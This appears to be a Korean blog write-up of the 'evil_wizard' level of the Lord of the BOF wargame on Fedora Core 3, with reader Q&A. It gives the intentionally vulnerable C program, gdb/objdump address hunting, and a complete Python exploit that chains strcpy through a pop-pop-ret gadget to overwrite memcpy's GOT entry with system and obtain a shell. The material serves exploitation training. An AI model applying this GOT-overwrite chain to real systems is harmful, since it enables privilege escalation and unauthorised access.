/*
        The Lord of the BOF : The Fellowship of the BOF
        - evil_wizard
        - Local BOF on Fedora Core 3
        - hint : GOT overwriting
*/
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main(int argc, char *argv[])
{
        char buffer[256];
        char saved_sfp[4];
        int length;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // for disturbance RET sleding
        length = strlen(argv[1]);
 
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, argv[1]);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        printf("%s\n", buffer);
}


evil_wizard.c


이번엔 드디어 pop-pop-ret이 있다.


최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.

시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.


hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...

원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,

자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.


여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.


공격순서는

1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.

2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.

3. system("/bin/sh")를 실행시킨다.


pop-pop-ret의 주소 알아내기

$ objdump -d evil_wizard | grep pop -A 1
...
 804854f:       58                      pop    %eax
 8048550:       58                      pop    %eax
 8048551:       c3                      ret
...

memcpy got의 주소와 system의 주소 알아내기

$ objdump -h evil_wizard | grep got
 19 .got          00000004  08049868  08049868  00000868  2**2
 20 .got.plt      00000038  0804986c  0804986c  0000086c  2**2
$ gdb -q evil_wizard
(gdb) b *main+319
(gdb) r 1
(gdb) x/10x 0x804986c
0x804986c <_GLOBAL_OFFSET_TABLE_>:      0x080497a0      0x007194f8      0x0070e9e0      0x00783d70
0x804987c <_GLOBAL_OFFSET_TABLE_+16>:   0x007d98f0      0x00730d50      0x0075e660      0x007854c0
0x804988c <_GLOBAL_OFFSET_TABLE_+32>:   0x007d9860      0x0804845a
(gdb) print memcpy
$1 = {<text variable, no debug info>} 0x7854c0 <memcpy>
(gdb) x/x 0x8049888
0x8049888 <_GLOBAL_OFFSET_TABLE_+28>:   0x007854c0
(gdb) print system
$2 = {<text variable, no debug info>} 0x7507c0 <system>
(gdb) print strcpy
$2 = {<text variable, no debug info>} 0x783880 <strcpy>
(gdb) x/i 0x8048494
0x8048494 <_init+200>:  jmp    *0x80498a0
(gdb) x/x 0x80498a0
0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>:   0x00783880

memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.

또, /bin/sh를 넣기위한 공간을 구한다.

$ objdump -h evil_wizard | grep bss
 22 .bss          00000004  080498b0  080498b0  000008b0  2**2
$ gdb -q evil_wizard
(gdb) b *main
Breakpoint 1 at 0x8048554
(gdb) r 1
Starting program: /home/hell_fire/evil_wizard 1
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) x/10x 0x080498b0
0x80498b0 <completed.1>:        0x00000000      0x00000000      0x00000000     0x00000000
0x80498c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x80498d0:      0x00000000      0x00000000

/bin/sh은 0x80498c0 정도에 넣도록 하겠다.

그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.

찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h

$ objdump -s evil_wizard | grep 00
...
 8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep 75
...
80486f4 0000005b 81c37511 00008d83 20ffffff  ...[..u..... ...
...
$ objdump -s evil_wizard | grep 07
...
8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep c0
...
8048524 ec08a19c 97040885 c07419b8 00000000  .........t......
...
$ objdump -s evil_wizard | grep /
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
...
$ objdump -s evil_wizard | grep h
...
 804836c 68980408 060d0000                    h.......
...

전부 알아냈으니, 이제 exploit

import os
import struct
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x804854f # pop-pop-ret
STRCPY = 0x8048494
MEMCPY = 0x8048434
MEMCPY_GOT = 0x8049888
BINSH = 0x80498C0
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(0x8048524+8) # c0
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(0x8048148+12) # 07
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(0x80486f4+6) # 75
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(0x8048148+1) # 00
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(0x8048114+3) # b
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(0x8048114+2) # i
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(0x8048114+10) # n
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
#payload += L_E(0x8048114+14) # s
payload += L_E(0x8048780+5) # s
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(0x804836c) # h
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(0x8048148+1) # 00
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
os.system('./evil_wizard '+payload)
$ python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜
sh-3.00$ my-pass
euid = 504
get down like that

posted by tunz
  • levs 2013.09.28 01:24

    친절한 답변 감사합니다. 하나만 질문 더하겠습니다.
    그 strcpy로 왜 memory got에다가 한바이트 씩 주소를 복사하나요?
    그냥 통채로 주소 복사해버리면 안되나요?

    • tunz 2013.09.30 22:45 신고

      주소가 있다면 통째로 가져오겠지만, 없어서 부분부분 가져왔었습니다

  • levs 2013.09.30 00:45

    커리큘럼에 관해서도 질문하나 드리고 싶은데 커널공부는 언제 공부해야 적당할까요

    • tunz 2013.09.30 22:53 신고

      커널공부 저는 아직 해본적 없긴 한데, 언제든지 필요하다고 느끼시면 바로바로 하시는게 좋다고 생각합니다 ㅋㅋ
      해킹이 워낙 전범위를 알고있어야하다보니까, 딱히 공부의 시기같은건 상관 없는것 같아요.

  • aex 2013.10.19 21:36

    왜 bss영역에다 복사해주나요?

    • tunz 2013.10.20 03:50 신고

      address가 고정되어있고, read와 write가 가능한 공간중 적절한곳을 그냥 고른것입니다.

  • 마루 2013.12.05 17:25

    궁금한 부분이 있는데요
    마지막 공격시에
    MEMCPY = 0x8048434 이렇게 된 주소는 memcpy 원래주소 0x7854c0가 되야 되는거 아닌가요

    • tunz 2013.12.05 22:52 신고

      원래 주소는 ASLR때문에 항상 바뀌기때문에 사용할수 없구요,
      고정주소인 plt 주소를 사용해야합니다

    • 마루 2013.12.13 10:35

      아 넵 감사합니다^^

  • 0000 2014.10.06 19:14

    혹시 이게 rop 인가요?
    궁굼한게 많은데 혹시 네이트온 하시면 연락처좀 알려주시면 감사하겠습니다.